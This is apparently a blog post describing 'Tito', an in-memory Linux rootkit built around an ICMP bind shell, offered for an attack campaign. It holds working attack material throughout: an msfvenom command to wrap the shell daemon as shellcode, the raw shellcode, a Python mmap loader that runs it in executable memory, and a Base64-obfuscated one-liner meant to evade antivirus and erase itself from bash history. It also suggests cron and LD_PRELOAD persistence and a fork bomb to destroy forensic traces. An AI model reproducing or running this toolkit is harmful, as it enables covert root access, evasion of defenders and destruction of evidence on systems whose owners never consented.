Tito : Complete In-Memory Toolkit & Methodology.
The Stealthy Assassin: An In-Memory Rootkit Philosophy
A Historical Perspective on Fear and Stealth
For those not well-versed in history, one of the most daring letters of all time was sent to Stalin from Josip Broz Tito, the leader of the former Yugoslavia. It read:
"Stop sending people to kill me. We've already captured five of them, one of them with a bomb and another with a rifle. If you don't stop sending killers, I'll send one to Moscow, and I won't have to send a second."
Knowing Stalin's reputation, few would dare make such a threat. Tito lived to the age of 87, and reports of assassination attempts ended after that letter. He was one of the few who scared Stalin enough to back off. When I considered the stealthy assassin this rootkit could be, only one name came to mind: Tito.
The Shift to In-Memory Methodology
For a while now, malware has been moving toward an in-memory-only methodology. It is obviously easier to find malicious files on disk. While LKM, eBPF, or userland rootkits were once the elite of hiding on Unix-like systems, they all touch the disk. Furthermore, most of them hook suspicious syscalls that any robust IDS or AV should detect.
I had seen in-memory-only code run viruses and other malware, but not many rootkits. So I asked: What would an in-memory-only rootkit look like? Commonly, rootkits don't "give" you root; they help maintain access after a compromise. They provide a shell and hide from commands like history, netstat, lsof, and ps. The challenge was hiding a working shell. Even if the process was hidden, the port would show up in netstat.
The ICMP Stealth Advantage
The breakthrough came when realizing there are protocols netstat cannot see. I found a bind shell that uses ICMP instead of the standard TCP or UDP. After building the shell with make linux, I had two binaries: ishd (the daemon) and ish (the client).
To transform this into weaponized shellcode for a Summer 2025 campaign, we use msfvenom:
# Generate the shellcode
msfvenom -p linux/x64/exec CMD=/path/to/ishd -f cb "\x00\x0a\x0d" > shellcode.txt
# Dump the shellcode into a single line
grep "" shellcode.txt | tr -d "\n" | sed -e 's/\" \"//g;s/\"//g;s/;//g' && echo ""
On an x86_64 CPU, this generates the following hex:
\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa6\xa3\x1a\xd4\xa5\x07\x96\x04\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xee\x1b\x35\xb6\xec\x69\xb9\x97\xce\xa3\x83\x84\xf1\x58\xc4\x82\xce\x8e\x79\x80\xfb\x55\x7e\xf9\xa6\xa3\x1a\xfb\xcd\x68\xfb\x81\x89\xd3\x72\x67\x96\x75\xb9\xad\xf5\xeb\x5f\x98\xe9\x2a\x00\xd4\x88\x91\x35\xbd\xd6\x6f\xf2\xe4\xf0\xf4\x4e\x8a\xcf\x3c\xce\xeb\xa3\xa3\x1a\xd4\xa5\x07\x96\xe4
Pure In-Memory Execution via Python
We can use Python to call mmap and execute this shellcode strictly in memory, never touching the filesystem:
#!/usr/bin/python3
import mmap
import ctypes
# Hex-encoded shellcode
shellcode = (b"\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa6\xa3\x1a\xd4\xa5\x07\x96\x04\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xee\x1b\x35\xb6\xec\x69\xb9\x97\xce\xa3\x83\x84\xf1\x58\xc4\x82\xce\x8e\x79\x80\xfb\x55\x7e\xf9\xa6\xa3\x1a\xfb\xcd\x68\xfb\x81\x89\xd3\x72\x67\x96\x75\xb9\xad\xf5\xeb\x5f\x98\xe9\x2a\x00\xd4\x88\x91\x35\xbd\xd6\x6f\xf2\xe4\xf0\xf4\x4e\x8a\xcf\x3c\xce\xeb\xa3\xa3\x1a\xd4\xa5\x07\x96\xe4")
def execute_shellcode(shellcode):
# Create a RWX (read-write-execute) memory region
shellcode_size = len(shellcode)
mem = mmap.mmap(-1, shellcode_size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
# Write the shellcode into memory
mem.write(shellcode)
# Get the address and cast to function pointer
addr = ctypes.addressof(ctypes.c_char.from_buffer(mem))
shell_func = ctypes.CFUNCTYPE(None)(addr)
print("Executing shellcode...")
shell_func()
execute_shellcode(shellcode)
When run on a modern Linux instance (like Debian Trixie), nothing in netstat, ps, or lsof will indicate a shell is active. To connect, we use the client:
./ish 127.0.0.1
# Output:
# ICMP Shell v0.2 (client) by: Peter Kieltyka
# Connecting to 127.0.0.1...done.
# uid=0(root) gid=0(root) groups=0(root)
Evasion, Stealth, and Persistence
To avoid detection by basic AV, we can encode the shellcode in Base64 and run the entire script as a one-liner. We also need to clear our tracks from the bash history immediately.
The Full Command:
python3 -c 'import base64, mmap, ctypes; encoded_shellcode = "SDHJSIHp9////0iNBe////9Iu6ajGtSlB5bkSDFYJ0gt+P///+L07hsltsxpuzf0040E8VjEgs60eYD7VX75pqMa+810+4GJ03Ln1nW5rfXrX5jpKuDUiJElvdZv8uTw9E6Kzzz0660jGtSlB5bk"; shellcode = base64.b64decode(encoded_shellcode); mem = mmap.mmap(-1, len(shellcode), mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC); mem.write(shellcode); addr = ctypes.addressof(ctypes.c_char.from_buffer(mem)); shell_func = ctypes.CFUNCTYPE(None)(addr); print("... and I won'\''t have to send a second."); shell_func()' && history -d $(history | awk 'END { print $1}')
This clears the command from history as soon as it executes. While forensics tools like Volatility might find the Base64 in RAM, rotating encoding or packing methods can bypass these filters.
Regarding persistence: many Linux servers have uptimes exceeding 5 years. In these cases, disk-based persistence isn't even required. If you must have it, a cron job combined with LD_PRELOAD could work, but it would touch the disk and sacrifice the "pure memory" nature of the tool.
Anti-Forensics: The Final Cleanup
If you need to destroy all traces of the rootkit, the most effective way is to overwrite the relevant memory. A simple fork-bomb in the ICMP shell will saturate resources and likely overwrite the memory segments where the rootkit resided:
:(){ :|:& };:
This makes forensic analysis a fruitless effort.
I dont recall the original author as this is several months old at time of updating....but I'm keeping the acknowledgements below as to attempt some kind of attribution to the OG author. I do recall it came out of the 2600 Hacker pamphlet.
Acknowledgments
Special thanks to Peter Kieltyka for the initial ICMP shell. I also want to thank tmpout, vx-underground, Phrack, vx-heavens, and 2600. These groups have inspired and taught the hacker scene everything it knows today.
Never stop being you.
Comments
Post a Comment